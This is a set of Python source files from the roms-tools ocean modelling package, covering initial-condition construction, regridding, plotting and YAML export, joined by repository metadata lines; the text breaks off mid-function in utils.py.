required in the dataset. Defaults to {"swr_corr": "ssr_corr"}. dim_names: Dict[str, str], optional Dictionary specifying the names of dimensions in the dataset. Defaults to {"longitude": "longitude", "latitude": "latitude", "time": "time"}. climatology : bool, optional Indicates if the correction data is a climatology. Defaults to True. Attributes ---------- ds : xr.Dataset The loaded xarray Dataset containing the correction data. """ filename: str = field( default_factory=lambda: download_correction_data("SSR_correction.nc") ) var_names: Dict[str, str] = field( default_factory=lambda: { "swr_corr": "ssr_corr", # multiplicative correction factor for ERA5 shortwave radiation } ) dim_names: Dict[str, str] = field( default_factory=lambda: { "longitude": "longitude", "latitude": "latitude", "time": "time", } ) climatology: Optional[bool] = True ds: xr.Dataset = field(init=False, repr=False) def __post_init__(self): if not self.climatology: raise NotImplementedError( "Correction data must be a climatology. Set climatology to True." ) super().__post_init__() def choose_subdomain(self, coords, straddle: bool): """Converts longitude values in the dataset if necessary and selects a subdomain based on the specified coordinates. This method converts longitude values between different ranges if required and then extracts a subset of the dataset according to the given coordinates. It updates the dataset in place to reflect the selected subdomain. Parameters ---------- coords : dict A dictionary specifying the target coordinates for selecting the subdomain. Keys should correspond to the dimension names of the dataset (e.g., latitude and longitude), and values should be the desired ranges or specific coordinate values. straddle : bool If True, assumes that target longitudes are in the range [-180, 180]. If False, assumes longitudes are in the range [0, 360]. This parameter determines how longitude values are converted if necessary. Raises ------ ValueError If the specified subdomain does not fully contain the specified latitude or longitude values. This can occur if the dataset does not cover the full range of provided coordinates. Notes ----- - The dataset (`self.ds`) is updated in place to reflect the chosen subdomain. """ lon = self.ds[self.dim_names["longitude"]] if not self.is_global: if lon.min().values < 0 and not straddle: # Convert from [-180, 180] to [0, 360] self.ds[self.dim_names["longitude"]] = xr.where(lon < 0, lon + 360, lon) if lon.max().values > 180 and straddle: # Convert from [0, 360] to [-180, 180] self.ds[self.dim_names["longitude"]] = xr.where( lon > 180, lon - 360, lon ) # Select the subdomain based on the specified latitude and longitude ranges subdomain = self.ds.sel(**coords) # Check if the selected subdomain contains the specified latitude and longitude values if not subdomain[self.dim_names["latitude"]].equals( coords[self.dim_names["latitude"]] ): raise ValueError( "The correction dataset does not contain all specified latitude values." ) if not subdomain[self.dim_names["longitude"]].equals( coords[self.dim_names["longitude"]] ): raise ValueError( "The correction dataset does not contain all specified longitude values." ) object.__setattr__(self, "ds", subdomain)
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33.783193
303
0.581234
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,708
initial_conditions.py
CWorthy-ocean_roms-tools/roms_tools/setup/initial_conditions.py
import xarray as xr import numpy as np import yaml import importlib.metadata from dataclasses import dataclass, field, asdict from typing import Dict, Union, List, Optional from roms_tools.setup.grid import Grid from datetime import datetime from roms_tools.setup.datasets import GLORYSDataset, CESMBGCDataset from roms_tools.setup.utils import ( nan_check, substitute_nans_by_fillvalue, get_variable_metadata, save_datasets, get_target_coords, rotate_velocities, compute_barotropic_velocity, _extrapolate_deepest_to_bottom, transpose_dimensions, ) from roms_tools.setup.fill import _lateral_fill from roms_tools.setup.regrid import _lateral_regrid, _vertical_regrid from roms_tools.setup.plot import _plot, _section_plot, _profile_plot, _line_plot import matplotlib.pyplot as plt from pathlib import Path @dataclass(frozen=True, kw_only=True) class InitialConditions: """Represents initial conditions for ROMS, including physical and biogeochemical data. Parameters ---------- grid : Grid Object representing the grid information used for the model. ini_time : datetime The date and time at which the initial conditions are set. If no exact match is found, the closest time entry to `ini_time` within the time range [ini_time, ini_time + 24 hours] is selected. source : Dict[str, Union[str, Path, List[Union[str, Path]]], bool] Dictionary specifying the source of the physical initial condition data. Keys include: - "name" (str): Name of the data source (e.g., "GLORYS"). - "path" (Union[str, Path, List[Union[str, Path]]]): The path to the raw data file(s). This can be: - A single string (with or without wildcards). - A single Path object. - A list of strings or Path objects containing multiple files. - "climatology" (bool): Indicates if the data is climatology data. Defaults to False. bgc_source : Dict[str, Union[str, Path, List[Union[str, Path]]], bool] Dictionary specifying the source of the biogeochemical (BGC) initial condition data. Keys include: - "name" (str): Name of the data source (e.g., "CESM_REGRIDDED"). - "path" (Union[str, Path, List[Union[str, Path]]]): The path to the raw data file(s). This can be: - A single string (with or without wildcards). - A single Path object. - A list of strings or Path objects containing multiple files. - "climatology" (bool): Indicates if the data is climatology data. Defaults to False. model_reference_date : datetime, optional The reference date for the model. Defaults to January 1, 2000. use_dask: bool, optional Indicates whether to use dask for processing. If True, data is processed with dask; if False, data is processed eagerly. Defaults to False. Examples -------- >>> initial_conditions = InitialConditions( ... grid=grid, ... ini_time=datetime(2022, 1, 1), ... source={"name": "GLORYS", "path": "physics_data.nc"}, ... bgc_source={ ... "name": "CESM_REGRIDDED", ... "path": "bgc_data.nc", ... "climatology": False, ... }, ... ) """ grid: Grid ini_time: datetime source: Dict[str, Union[str, Path, List[Union[str, Path]]]] bgc_source: Optional[Dict[str, Union[str, Path, List[Union[str, Path]]]]] = None model_reference_date: datetime = datetime(2000, 1, 1) use_dask: bool = False ds: xr.Dataset = field(init=False, repr=False) def __post_init__(self): self._input_checks() data_vars = {} data_vars = self._process_data(data_vars, type="physics") if self.bgc_source is not None: data_vars = self._process_data(data_vars, type="bgc") for var in data_vars.keys(): data_vars[var] = transpose_dimensions(data_vars[var]) d_meta = get_variable_metadata() ds = self._write_into_dataset(data_vars, d_meta) ds = self._add_global_metadata(ds) ds["zeta"].load() # NaN values at wet points indicate that the raw data did not cover the domain, and the following will raise a ValueError nan_check(ds["zeta"].squeeze(), self.grid.ds.mask_rho) # substitute NaNs over land by a fill value to avoid blow-up of ROMS for var in ds.data_vars: ds[var] = substitute_nans_by_fillvalue(ds[var]) object.__setattr__(self, "ds", ds) def _process_data(self, data_vars, type="physics"): target_coords = get_target_coords(self.grid) if type == "physics": data = self._get_data() else: data = self._get_bgc_data() data.choose_subdomain( latitude_range=[ target_coords["lat"].min().values, target_coords["lat"].max().values, ], longitude_range=[ target_coords["lon"].min().values, target_coords["lon"].max().values, ], margin=2, straddle=target_coords["straddle"], ) variable_info = self._set_variable_info(data, type=type) data_vars = _extrapolate_deepest_to_bottom(data_vars, data) data_vars = _lateral_fill(data_vars, data) # lateral regridding var_names = variable_info.keys() data_vars = _lateral_regrid( data, target_coords["lon"], target_coords["lat"], data_vars, var_names ) # rotation of velocities and interpolation to u/v points if "u" in variable_info and "v" in variable_info: (data_vars["u"], data_vars["v"],) = rotate_velocities( data_vars["u"], data_vars["v"], target_coords["angle"], interpolate=True, ) # vertical regridding for location in ["rho", "u", "v"]: var_names = [ name for name, info in variable_info.items() if info["location"] == location and info["is_3d"] ] if len(var_names) > 0: data_vars = _vertical_regrid( data, self.grid.ds[f"layer_depth_{location}"], data_vars, var_names, ) # compute barotropic velocities if "u" in variable_info and "v" in variable_info: for var in ["u", "v"]: data_vars[f"{var}bar"] = compute_barotropic_velocity( data_vars[var], self.grid.ds[f"interface_depth_{var}"] ) if type == "bgc": # Ensure time coordinate matches that of physical variables for var in variable_info.keys(): data_vars[var] = data_vars[var].assign_coords( {"time": data_vars["temp"]["time"]} ) return data_vars def _input_checks(self): if "name" not in self.source.keys(): raise ValueError("`source` must include a 'name'.") if "path" not in self.source.keys(): raise ValueError("`source` must include a 'path'.") # set self.source["climatology"] to False if not provided object.__setattr__( self, "source", { **self.source, "climatology": self.source.get("climatology", False), }, ) if self.bgc_source is not None: if "name" not in self.bgc_source.keys(): raise ValueError( "`bgc_source` must include a 'name' if it is provided." ) if "path" not in self.bgc_source.keys(): raise ValueError( "`bgc_source` must include a 'path' if it is provided." ) # set self.bgc_source["climatology"] to False if not provided object.__setattr__( self, "bgc_source", { **self.bgc_source, "climatology": self.bgc_source.get("climatology", False), }, ) def _get_data(self): if self.source["name"] == "GLORYS": data = GLORYSDataset( filename=self.source["path"], start_time=self.ini_time, climatology=self.source["climatology"], use_dask=self.use_dask, ) else: raise ValueError('Only "GLORYS" is a valid option for source["name"].') return data def _get_bgc_data(self): if self.bgc_source["name"] == "CESM_REGRIDDED": data = CESMBGCDataset( filename=self.bgc_source["path"], start_time=self.ini_time, climatology=self.bgc_source["climatology"], use_dask=self.use_dask, ) else: raise ValueError( 'Only "CESM_REGRIDDED" is a valid option for bgc_source["name"].' ) return data def _set_variable_info(self, data, type="physics"): """Sets up a dictionary with metadata for variables based on the type. The dictionary contains the following information: - `location`: Where the variable resides in the grid (e.g., rho, u, or v points). - `is_vector`: Whether the variable is part of a vector (True for velocity components like 'u' and 'v'). - `vector_pair`: For vector variables, this indicates the associated variable that forms the vector (e.g., 'u' and 'v'). - `is_3d`: Indicates whether the variable is 3D (True for variables like 'temp' and 'salt') or 2D (False for 'zeta'). Returns ------- dict A dictionary where the keys are variable names and the values are dictionaries of metadata about each variable, including 'location', 'is_vector', 'vector_pair', and 'is_3d'. """ default_info = { "location": "rho", "is_vector": False, "vector_pair": None, "is_3d": True, } # Define a dictionary for variable names and their associated information if type == "physics": variable_info = { "zeta": { "location": "rho", "is_vector": False, "vector_pair": None, "is_3d": False, }, "temp": default_info, "salt": default_info, "u": { "location": "u", "is_vector": True, "vector_pair": "v", "is_3d": True, }, "v": { "location": "v", "is_vector": True, "vector_pair": "u", "is_3d": True, }, "ubar": { "location": "u", "is_vector": True, "vector_pair": "vbar", "is_3d": False, }, "vbar": { "location": "v", "is_vector": True, "vector_pair": "ubar", "is_3d": False, }, } elif type == "bgc": variable_info = {} for var in data.var_names.keys(): variable_info[var] = default_info return variable_info def _write_into_dataset(self, data_vars, d_meta): # save in new dataset ds = xr.Dataset() for var in data_vars.keys(): ds[var] = data_vars[var].astype(np.float32) ds[var].attrs["long_name"] = d_meta[var]["long_name"] ds[var].attrs["units"] = d_meta[var]["units"] # initialize vertical velocity to zero ds["w"] = xr.zeros_like( self.grid.ds["interface_depth_rho"].expand_dims(time=data_vars["u"].time) ).astype(np.float32) ds["w"].attrs["long_name"] = d_meta["w"]["long_name"] ds["w"].attrs["units"] = d_meta["w"]["units"] variables_to_drop = [ "s_rho", "lat_rho", "lon_rho", "lat_u", "lon_u", "lat_v", "lon_v", "layer_depth_rho", "interface_depth_rho", "layer_depth_u", "interface_depth_u", "layer_depth_v", "interface_depth_v", ] existing_vars = [var for var in variables_to_drop if var in ds] ds = ds.drop_vars(existing_vars) ds["Cs_r"] = self.grid.ds["Cs_r"] ds["Cs_w"] = self.grid.ds["Cs_w"] # Preserve absolute time coordinate for readability ds = ds.assign_coords({"abs_time": ds["time"]}) # Translate the time coordinate to days since the model reference date model_reference_date = np.datetime64(self.model_reference_date) # Convert the time coordinate to the format expected by ROMS (days since model reference date) ocean_time = (ds["time"] - model_reference_date).astype("float64") * 1e-9 ds = ds.assign_coords(ocean_time=("time", ocean_time.data.astype("float64"))) ds["ocean_time"].attrs[ "long_name" ] = f"seconds since {str(self.model_reference_date)}" ds["ocean_time"].attrs["units"] = "seconds" ds = ds.swap_dims({"time": "ocean_time"}) ds = ds.drop_vars("time") return ds def _add_global_metadata(self, ds): ds.attrs["title"] = "ROMS initial conditions file created by ROMS-Tools" # Include the version of roms-tools try: roms_tools_version = importlib.metadata.version("roms-tools") except importlib.metadata.PackageNotFoundError: roms_tools_version = "unknown" ds.attrs["roms_tools_version"] = roms_tools_version ds.attrs["ini_time"] = str(self.ini_time) ds.attrs["model_reference_date"] = str(self.model_reference_date) ds.attrs["source"] = self.source["name"] if self.bgc_source is not None: ds.attrs["bgc_source"] = self.bgc_source["name"] ds.attrs["theta_s"] = self.grid.ds.attrs["theta_s"] ds.attrs["theta_b"] = self.grid.ds.attrs["theta_b"] ds.attrs["hc"] = self.grid.ds.attrs["hc"] return ds def plot( self, varname, s=None, eta=None, xi=None, depth_contours=False, layer_contours=False, ) -> None: """Plot the initial conditions field for a given eta-, xi-, or s_rho- slice. Parameters ---------- varname : str The name of the initial conditions field to plot. Options include: - "temp": Potential temperature. - "salt": Salinity. - "zeta": Free surface. - "u": u-flux component. - "v": v-flux component. - "w": w-flux component. - "ubar": Vertically integrated u-flux component. - "vbar": Vertically integrated v-flux component. - "PO4": Dissolved Inorganic Phosphate (mmol/m³). - "NO3": Dissolved Inorganic Nitrate (mmol/m³). - "SiO3": Dissolved Inorganic Silicate (mmol/m³). - "NH4": Dissolved Ammonia (mmol/m³). - "Fe": Dissolved Inorganic Iron (mmol/m³). - "Lig": Iron Binding Ligand (mmol/m³). - "O2": Dissolved Oxygen (mmol/m³). - "DIC": Dissolved Inorganic Carbon (mmol/m³). - "DIC_ALT_CO2": Dissolved Inorganic Carbon, Alternative CO2 (mmol/m³). - "ALK": Alkalinity (meq/m³). - "ALK_ALT_CO2": Alkalinity, Alternative CO2 (meq/m³). - "DOC": Dissolved Organic Carbon (mmol/m³). - "DON": Dissolved Organic Nitrogen (mmol/m³). - "DOP": Dissolved Organic Phosphorus (mmol/m³). - "DOPr": Refractory Dissolved Organic Phosphorus (mmol/m³). - "DONr": Refractory Dissolved Organic Nitrogen (mmol/m³). - "DOCr": Refractory Dissolved Organic Carbon (mmol/m³). - "zooC": Zooplankton Carbon (mmol/m³). - "spChl": Small Phytoplankton Chlorophyll (mg/m³). - "spC": Small Phytoplankton Carbon (mmol/m³). - "spP": Small Phytoplankton Phosphorous (mmol/m³). - "spFe": Small Phytoplankton Iron (mmol/m³). - "spCaCO3": Small Phytoplankton CaCO3 (mmol/m³). - "diatChl": Diatom Chlorophyll (mg/m³). - "diatC": Diatom Carbon (mmol/m³). - "diatP": Diatom Phosphorus (mmol/m³). - "diatFe": Diatom Iron (mmol/m³). - "diatSi": Diatom Silicate (mmol/m³). - "diazChl": Diazotroph Chlorophyll (mg/m³). - "diazC": Diazotroph Carbon (mmol/m³). - "diazP": Diazotroph Phosphorus (mmol/m³). - "diazFe": Diazotroph Iron (mmol/m³). s : int, optional The index of the vertical layer (`s_rho`) to plot. If not specified, the plot will represent a horizontal slice (eta- or xi- plane). Default is None. eta : int, optional The eta-index to plot. Used for vertical sections or horizontal slices. Default is None. xi : int, optional The xi-index to plot. Used for vertical sections or horizontal slices. Default is None. depth_contours : bool, optional If True, depth contours will be overlaid on the plot, showing lines of constant depth. This is typically used for plots that show a single vertical layer. Default is False. layer_contours : bool, optional If True, contour lines representing the boundaries between vertical layers will be added to the plot. This is particularly useful in vertical sections to visualize the layering of the water column. For clarity, the number of layer contours displayed is limited to a maximum of 10. Default is False. Returns ------- None This method does not return any value. It generates and displays a plot. Raises ------ ValueError If the specified `varname` is not one of the valid options. If the field specified by `varname` is 3D and none of `s`, `eta`, or `xi` are specified. If the field specified by `varname` is 2D and both `eta` and `xi` are specified. """ if len(self.ds[varname].squeeze().dims) == 3 and not any( [s is not None, eta is not None, xi is not None] ): raise ValueError( "For 3D fields, at least one of s, eta, or xi must be specified." ) if len(self.ds[varname].squeeze().dims) == 2 and all( [eta is not None, xi is not None] ): raise ValueError("For 2D fields, specify either eta or xi, not both.") self.ds[varname].load() field = self.ds[varname].squeeze() if all(dim in field.dims for dim in ["eta_rho", "xi_rho"]): interface_depth = self.grid.ds.interface_depth_rho layer_depth = self.grid.ds.layer_depth_rho mask = self.grid.ds.mask_rho field = field.assign_coords( {"lon": self.grid.ds.lon_rho, "lat": self.grid.ds.lat_rho} ) elif all(dim in field.dims for dim in ["eta_rho", "xi_u"]): interface_depth = self.grid.ds.interface_depth_u layer_depth = self.grid.ds.layer_depth_u mask = self.grid.ds.mask_u field = field.assign_coords( {"lon": self.grid.ds.lon_u, "lat": self.grid.ds.lat_u} ) elif all(dim in field.dims for dim in ["eta_v", "xi_rho"]): interface_depth = self.grid.ds.interface_depth_v layer_depth = self.grid.ds.layer_depth_v mask = self.grid.ds.mask_v field = field.assign_coords( {"lon": self.grid.ds.lon_v, "lat": self.grid.ds.lat_v} ) else: ValueError("provided field does not have two horizontal dimension") # slice the field as desired title = field.long_name if s is not None: title = title + f", s_rho = {field.s_rho[s].item()}" field = field.isel(s_rho=s) layer_depth = layer_depth.isel(s_rho=s) field = field.assign_coords({"layer_depth": layer_depth}) else: depth_contours = False if eta is not None: if "eta_rho" in field.dims: title = title + f", eta_rho = {field.eta_rho[eta].item()}" field = field.isel(eta_rho=eta) layer_depth = layer_depth.isel(eta_rho=eta) interface_depth = interface_depth.isel(eta_rho=eta) if "s_rho" in field.dims: field = field.assign_coords({"layer_depth": layer_depth}) elif "eta_v" in field.dims: title = title + f", eta_v = {field.eta_v[eta].item()}" field = field.isel(eta_v=eta) layer_depth = layer_depth.isel(eta_v=eta) interface_depth = interface_depth.isel(eta_v=eta) if "s_rho" in field.dims: field = field.assign_coords({"layer_depth": layer_depth}) else: raise ValueError( f"None of the expected dimensions (eta_rho, eta_v) found in ds[{varname}]." ) if xi is not None: if "xi_rho" in field.dims: title = title + f", xi_rho = {field.xi_rho[xi].item()}" field = field.isel(xi_rho=xi) layer_depth = layer_depth.isel(xi_rho=xi) interface_depth = interface_depth.isel(xi_rho=xi) if "s_rho" in field.dims: field = field.assign_coords({"layer_depth": layer_depth}) elif "xi_u" in field.dims: title = title + f", xi_u = {field.xi_u[xi].item()}" field = field.isel(xi_u=xi) layer_depth = layer_depth.isel(xi_u=xi) interface_depth = interface_depth.isel(xi_u=xi) if "s_rho" in field.dims: field = field.assign_coords({"layer_depth": layer_depth}) else: raise ValueError( f"None of the expected dimensions (xi_rho, xi_u) found in ds[{varname}]." ) # chose colorbar if varname in ["u", "v", "w", "ubar", "vbar", "zeta"]: vmax = max(field.max().values, -field.min().values) vmin = -vmax cmap = plt.colormaps.get_cmap("RdBu_r") else: vmax = field.max().values vmin = field.min().values if varname in ["temp", "salt"]: cmap = plt.colormaps.get_cmap("YlOrRd") else: cmap = plt.colormaps.get_cmap("YlGn") cmap.set_bad(color="gray") kwargs = {"vmax": vmax, "vmin": vmin, "cmap": cmap} if eta is None and xi is None: _plot( self.grid.ds, field=field.where(mask), straddle=self.grid.straddle, depth_contours=depth_contours, title=title, kwargs=kwargs, c="g", ) else: if not layer_contours: interface_depth = None else: # restrict number of layer_contours to 10 for the sake of plot clearity nr_layers = len(interface_depth["s_w"]) selected_layers = np.linspace( 0, nr_layers - 1, min(nr_layers, 10), dtype=int ) interface_depth = interface_depth.isel(s_w=selected_layers) if len(field.dims) == 2: _section_plot( field, interface_depth=interface_depth, title=title, kwargs=kwargs ) else: if "s_rho" in field.dims: _profile_plot(field, title=title) else: _line_plot(field, title=title) def save( self, filepath: Union[str, Path], np_eta: int = None, np_xi: int = None ) -> None: """Save the initial conditions information to a netCDF4 file. This method supports saving the dataset in two modes: 1. **Single File Mode (default)**: If both `np_eta` and `np_xi` are `None`, the entire dataset is saved as a single netCDF4 file with the base filename specified by `filepath.nc`. 2. **Partitioned Mode**: - If either `np_eta` or `np_xi` is specified, the dataset is divided into spatial tiles along the eta-axis and xi-axis. - Each spatial tile is saved as a separate netCDF4 file. Parameters ---------- filepath : Union[str, Path] The base path or filename where the dataset should be saved. np_eta : int, optional The number of partitions along the `eta` direction. If `None`, no spatial partitioning is performed. np_xi : int, optional The number of partitions along the `xi` direction. If `None`, no spatial partitioning is performed. Returns ------- List[Path] A list of Path objects for the filenames that were saved. """ # Ensure filepath is a Path object filepath = Path(filepath) # Remove ".nc" suffix if present if filepath.suffix == ".nc": filepath = filepath.with_suffix("") dataset_list = [self.ds.load()] output_filenames = [str(filepath)] saved_filenames = save_datasets( dataset_list, output_filenames, np_eta=np_eta, np_xi=np_xi ) return saved_filenames def to_yaml(self, filepath: Union[str, Path]) -> None: """Export the parameters of the class to a YAML file, including the version of roms-tools. Parameters ---------- filepath : Union[str, Path] The path to the YAML file where the parameters will be saved. """ filepath = Path(filepath) # Serialize Grid data grid_data = asdict(self.grid) grid_data.pop("ds", None) # Exclude non-serializable fields grid_data.pop("straddle", None) # Include the version of roms-tools try: roms_tools_version = importlib.metadata.version("roms-tools") except importlib.metadata.PackageNotFoundError: roms_tools_version = "unknown" # Create header header = f"---\nroms_tools_version: {roms_tools_version}\n---\n" grid_yaml_data = {"Grid": grid_data} initial_conditions_data = { "InitialConditions": { "source": self.source, "ini_time": self.ini_time.isoformat(), "model_reference_date": self.model_reference_date.isoformat(), } } # Include bgc_source if it's not None if self.bgc_source is not None: initial_conditions_data["InitialConditions"]["bgc_source"] = self.bgc_source yaml_data = { **grid_yaml_data, **initial_conditions_data, } with filepath.open("w") as file: # Write header file.write(header) # Write YAML data yaml.dump(yaml_data, file, default_flow_style=False) @classmethod def from_yaml( cls, filepath: Union[str, Path], use_dask: bool = False ) -> "InitialConditions": """Create an instance of the InitialConditions class from a YAML file. Parameters ---------- filepath : Union[str, Path] The path to the YAML file from which the parameters will be read. use_dask: bool, optional Indicates whether to use dask for processing. If True, data is processed with dask; if False, data is processed eagerly. Defaults to False. Returns ------- InitialConditions An instance of the InitialConditions class. """ filepath = Path(filepath) # Read the entire file content with filepath.open("r") as file: file_content = file.read() # Split the content into YAML documents documents = list(yaml.safe_load_all(file_content)) initial_conditions_data = None # Process the YAML documents for doc in documents: if doc is None: continue if "InitialConditions" in doc: initial_conditions_data = doc["InitialConditions"] break if initial_conditions_data is None: raise ValueError( "No InitialConditions configuration found in the YAML file." ) # Convert from string to datetime for date_string in ["model_reference_date", "ini_time"]: initial_conditions_data[date_string] = datetime.fromisoformat( initial_conditions_data[date_string] ) grid = Grid.from_yaml(filepath) # Create and return an instance of InitialConditions return cls(grid=grid, **initial_conditions_data, use_dask=use_dask)
29,749
Python
.py
659
33.186646
151
0.556381
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,709
utils.py
CWorthy-ocean_roms-tools/roms_tools/setup/utils.py
import xarray as xr import numpy as np from typing import Union import pandas as pd import cftime from roms_tools.utils import partition from pathlib import Path def nan_check(field, mask) -> None: """Checks for NaN values at wet points in the field. This function examines the interpolated input field for NaN values at positions indicated as wet points by the mask. If any NaN values are found at these wet points, a ValueError is raised. Parameters ---------- field : array-like The data array to be checked for NaN values. This is typically an xarray.DataArray or numpy array. mask : array-like A boolean mask or data array with the same shape as `field`. The wet points (usually ocean points) are indicated by `1` or `True`, and land points by `0` or `False`. Raises ------ ValueError If the field contains NaN values at any of the wet points indicated by the mask. The error message will explain the potential cause and suggest ensuring the dataset's coverage. """ # Replace values in field with 0 where mask is not 1 da = xr.where(mask == 1, field, 0) # Check if any NaN values exist in the modified field if da.isnull().any().values: raise ValueError( "NaN values found in interpolated field. This likely occurs because the ROMS grid, including " "a small safety margin for interpolation, is not fully contained within the dataset's longitude/latitude range. Please ensure that the " "dataset covers the entire area required by the ROMS grid." ) def substitute_nans_by_fillvalue(field, fill_value=0.0) -> xr.DataArray: """Replace NaN values in the field with a specified fill value. This function replaces any NaN values in the input field with the provided fill value. Parameters ---------- field : xr.DataArray The data array in which NaN values need to be replaced. This is typically an xarray.DataArray. fill_value : scalar, optional The value to use for replacing NaNs. Default is 0.0. Returns ------- xr.DataArray The data array with NaN values replaced by the specified fill value. """ return field.fillna(fill_value) def interpolate_from_rho_to_u(field, method="additive"): """Interpolates the given field from rho points to u points. This function performs an interpolation from the rho grid (cell centers) to the u grid (cell edges in the xi direction). Depending on the chosen method, it either averages (additive) or multiplies (multiplicative) the field values between adjacent rho points along the xi dimension. It also handles the removal of unnecessary coordinate variables and updates the dimensions accordingly. Parameters ---------- field : xr.DataArray The input data array on the rho grid to be interpolated. It is assumed to have a dimension named "xi_rho". method : str, optional, default='additive' The method to use for interpolation. Options are: - 'additive': Average the field values between adjacent rho points. - 'multiplicative': Multiply the field values between adjacent rho points. Appropriate for binary masks. Returns ------- field_interpolated : xr.DataArray The interpolated data array on the u grid with the dimension "xi_u". """ if method == "additive": field_interpolated = 0.5 * (field + field.shift(xi_rho=1)).isel( xi_rho=slice(1, None) ) elif method == "multiplicative": field_interpolated = (field * field.shift(xi_rho=1)).isel(xi_rho=slice(1, None)) else: raise NotImplementedError(f"Unsupported method '{method}' specified.") if "lat_rho" in field_interpolated.coords: field_interpolated.drop_vars(["lat_rho"]) if "lon_rho" in field_interpolated.coords: field_interpolated.drop_vars(["lon_rho"]) field_interpolated = field_interpolated.swap_dims({"xi_rho": "xi_u"}) return field_interpolated def interpolate_from_rho_to_v(field, method="additive"): """Interpolates the given field from rho points to v points. This function performs an interpolation from the rho grid (cell centers) to the v grid (cell edges in the eta direction). Depending on the chosen method, it either averages (additive) or multiplies (multiplicative) the field values between adjacent rho points along the eta dimension. It also handles the removal of unnecessary coordinate variables and updates the dimensions accordingly. Parameters ---------- field : xr.DataArray The input data array on the rho grid to be interpolated. It is assumed to have a dimension named "eta_rho". method : str, optional, default='additive' The method to use for interpolation. Options are: - 'additive': Average the field values between adjacent rho points. - 'multiplicative': Multiply the field values between adjacent rho points. Appropriate for binary masks. Returns ------- field_interpolated : xr.DataArray The interpolated data array on the v grid with the dimension "eta_v". """ if method == "additive": field_interpolated = 0.5 * (field + field.shift(eta_rho=1)).isel( eta_rho=slice(1, None) ) elif method == "multiplicative": field_interpolated = (field * field.shift(eta_rho=1)).isel( eta_rho=slice(1, None) ) else: raise NotImplementedError(f"Unsupported method '{method}' specified.") if "lat_rho" in field_interpolated.coords: field_interpolated.drop_vars(["lat_rho"]) if "lon_rho" in field_interpolated.coords: field_interpolated.drop_vars(["lon_rho"]) field_interpolated = field_interpolated.swap_dims({"eta_rho": "eta_v"}) return field_interpolated def extrapolate_deepest_to_bottom(field: xr.DataArray, dim: str) -> xr.DataArray: """Extrapolates the deepest non-NaN values to the bottom along the specified dimension using forward fill. This function assumes that the specified dimension is ordered from top to bottom (e.g., a vertical dimension like 'depth'). It fills `NaN` values below the deepest valid (non-NaN) entry along the given dimension by carrying forward the last valid value. Parameters ---------- field : xr.DataArray The input `xarray.DataArray` containing potential `NaN` values to be filled. This array must have at least one dimension corresponding to `dim`, typically a vertical axis such as 'depth' or 'height'. dim : str The name of the dimension along which to perform the forward fill operation. The function assumes that this dimension is ordered from top to bottom, with larger index values representing deeper or lower levels. Returns ------- xr.DataArray A new `xarray.DataArray` with the `NaN` values along the specified dimension filled by forward filling the deepest valid values down to the bottom. The original input data remains unmodified. """ if dim in field.dims: return field.ffill(dim=dim) else: return field def _extrapolate_deepest_to_bottom(data_vars, data) -> dict: """Extrapolate the deepest value to the bottom for variables using the dataset's depth dimension. This function fills in missing values at the bottom of each variable by carrying forward the deepest available value, ensuring a complete depth profile. Parameters ---------- data_vars : dict Existing dictionary of variables to be updated. data : Dataset Dataset containing variables and depth information. Returns ------- dict of str : xarray.DataArray Dictionary of variables with the deepest value extrapolated to the bottom. """ for var in data.var_names.keys(): data_vars[var] = extrapolate_deepest_to_bottom( data.ds[data.var_names[var]], data.dim_names["depth"] ) return data_vars def assign_dates_to_climatology(ds: xr.Dataset, time_dim: str) -> xr.Dataset: """Assigns climatology dates to the dataset's time dimension. This function updates the dataset's time coordinates to reflect climatological dates. It defines fixed day increments for each month and assigns these to the specified time dimension. The increments represent the cumulative days at mid-month for each month. Parameters ---------- ds : xr.Dataset The xarray Dataset to which climatological dates will be assigned. time_dim : str The name of the time dimension in the dataset that will be updated with climatological dates. Returns ------- xr.Dataset The updated xarray Dataset with climatological dates assigned to the specified time dimension. """ # Define the days in each month and convert to timedelta increments = [15, 30, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30] days = np.cumsum(increments) timedelta_ns = np.array(days, dtype="timedelta64[D]").astype("timedelta64[ns]") time = xr.DataArray(timedelta_ns, dims=[time_dim]) ds = ds.assign_coords({"time": time}) return ds def interpolate_from_climatology( field: Union[xr.DataArray, xr.Dataset], time_dim_name: str, time: Union[xr.DataArray, pd.DatetimeIndex], ) -> Union[xr.DataArray, xr.Dataset]: """Interpolates the given field temporally based on the specified time points. If `field` is an xarray.Dataset, this function applies the interpolation to all data variables in the dataset. Parameters ---------- field : xarray.DataArray or xarray.Dataset The field data to be interpolated. Can be a single DataArray or a Dataset. time_dim_name : str The name of the dimension in `field` that represents time. time : xarray.DataArray or pandas.DatetimeIndex The target time points for interpolation. Returns ------- xarray.DataArray or xarray.Dataset The field values interpolated to the specified time points. The type matches the input type. """ def interpolate_single_field(data_array: xr.DataArray) -> xr.DataArray: if isinstance(time, xr.DataArray): # Extract day of year from xarray.DataArray day_of_year = time.dt.dayofyear else: if np.size(time) == 1: day_of_year = time.timetuple().tm_yday else: day_of_year = np.array([t.timetuple().tm_yday for t in time]) data_array[time_dim_name] = data_array[time_dim_name].dt.days # Concatenate across the beginning and end of the year time_concat = xr.concat( [ data_array[time_dim_name][-1] - 365.25, data_array[time_dim_name], 365.25 + data_array[time_dim_name][0], ], dim=time_dim_name, ) data_array_concat = xr.concat( [ data_array.isel(**{time_dim_name: -1}), data_array, data_array.isel(**{time_dim_name: 0}), ], dim=time_dim_name, ) data_array_concat[time_dim_name] = time_concat # Interpolate to specified times data_array_interpolated = data_array_concat.interp( **{time_dim_name: day_of_year}, method="linear" ) if np.size(time) == 1: data_array_interpolated = data_array_interpolated.expand_dims( {time_dim_name: 1} ) return data_array_interpolated if isinstance(field, xr.DataArray): return interpolate_single_field(field) elif isinstance(field, xr.Dataset): interpolated_data_vars = { var: interpolate_single_field(data_array) for var, data_array in field.data_vars.items() } return xr.Dataset(interpolated_data_vars, attrs=field.attrs) else: raise TypeError("Input 'field' must be an xarray.DataArray or xarray.Dataset.") def get_time_type(data_array: xr.DataArray) -> str: """Determines the type of time values in the xarray DataArray. Parameters ---------- data_array : xr.DataArray The xarray DataArray to be checked for time data types. Returns ------- str A string indicating the type of the time data: 'cftime', 'datetime', or 'int'. Raises ------ TypeError If the values in the DataArray are not of type numpy.ndarray or list. """ # List of cftime datetime types cftime_types = ( cftime.DatetimeNoLeap, cftime.DatetimeJulian, 